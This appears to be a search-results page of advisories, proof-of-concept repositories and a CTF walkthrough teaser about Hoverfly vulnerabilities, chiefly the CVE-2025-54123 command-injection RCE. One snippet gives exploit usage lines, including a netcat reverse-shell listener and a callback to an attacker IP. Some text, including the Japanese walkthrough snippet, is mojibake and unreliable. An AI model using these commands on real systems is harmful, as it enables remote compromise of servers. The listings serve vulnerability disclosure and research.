175 matches found
Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit
CVE-2025-54123 โ Hoverfly Middleware API Remote Code Execution Authenticated RCE via OS Command Injection in Hoverfly โค 1.11.3 Vulnerability Overview Property| Value ---|--- CVE ID| CVE-2025-54123 CVSS Score| 9.8 โ Critical CVSS Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78 OS...
hoverfly
API simulations for development and testing Hoverfly is a lightweight, open source API simulation tool. Using Hoverfly, you can create realistic simulations of the APIs your application depends on. Replace slow, flaky API dependencies with realistic, re-usable simulations Simulate network latency...
CVE-2025-54123
CVE-2025-54123 Overview Authenticated Remote Code Execution in HoverFly's middleware API endpoint due to insufficient input validation and unsafe command execution. Attack Flow 1. Authentication Attacker authenticates to HoverFly using valid credentials or session token Obtains Bearer token via...
CVE-2025-54123-Poc
CVE-2025-54123 Exploit Hoverfly Authenticated Middleware Command Injection RCE | CVSS 9.8 CRITICAL Vulnerability Hoverfly -u -p -c --shell SHELL -t, --target - Hoverfly API endpoint required -u, --username - Admin username required -p, --password - Admin password required -c, --command -...
Hoverfly < 1.10.3 - Arbitrary File Read
Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary...
CVE-2025-54123
CVE-2025-54123 Hoverfly CVE RCE Usage Command execution: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse Shell: nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 Disclaimer This script is intended for...
CVE-2025-54123
CVE-2025-54123 - Hoverfly Command Injection RCE PoC CVE-2025-54123 - Middleware Command Injection in Hoverfly ๐ CVE Details ID : CVE-2025-54123 Type : Command Injection / Remote Code Execution RCE Vendor : Hoverfly Impact : Allows authenticated attackers to execute arbitrary system commands via t...
CVE-2025-54123
CVE-2025-54123 Hoverfly Command Injection to RCE PoC Overview This repository contains a Python proof-of-concept PoC script for interacting with Hoverfly instances affected by CVE-2025-54123. The script supports: Authentication using username/password credentials Authentication using an existing...
devarea
DevArea โ HackTheBox ใใฉใใใใฉใผใ : HackTheBox OS: Linux ในใใผใฟใน: ใชใฟใคใขๆธใฟ โ ๅฎๅ จใชใฆใฉใผใฏในใซใผๅ ฌ้ไธญใ ๅฎๅ จใชใฆใฉใผใฏในใซใผ: l3dsec.com/walkthroughs/devarea-htb ๆปๆใใงใผใณ root@kitploit: nmap โ 21 FTP anon + 80 + 8080 Jetty + 8888 Hoverfly โ FTP anon โ employee-service.jar Apache CXF, pre-3.5.5 โ CVE-2022-46364 SSRF โ...
hoverfly v1.12.14
API simulations for development and testing Hoverfly is a lightweight, open source API simulation tool. Using Hoverfly, you can create realistic simulations of the APIs your application depends on. Replace slow, flaky API dependencies with realistic, re-usable simulations Simulate network latency...
CVE-2026-50013
Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...
CVE-2026-50018
Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...
CVE-2026-50018 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions
Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...
EUVD-2026-76754
Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...
CVE-2026-50018
Hoverfly (open source API simulation tool) prior to version 1.12.8 is vulnerable to denial of service via a goroutine leak in its remote post-serve actions . The root cause is the use of http.DefaultClient without any timeout configuration: when the remote endpoint is unreachable or intentionally...
CVE-2026-50018 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions
Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...
CVE-2026-50018 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions
Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...
EUVD-2026-76755
Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...
CVE-2026-50013 Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode
Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...
CVE-2026-50013
Hoverfly (an open-source API simulation/proxy tool by SpectoLabs) is affected by an unsynchronized concurrent map write in its Diff mode . Prior to version 1.12.8 , the AddDiff() function writes to the shared responsesDiff map without a mutex. Because Hoverfly processes proxy requests concurrentl...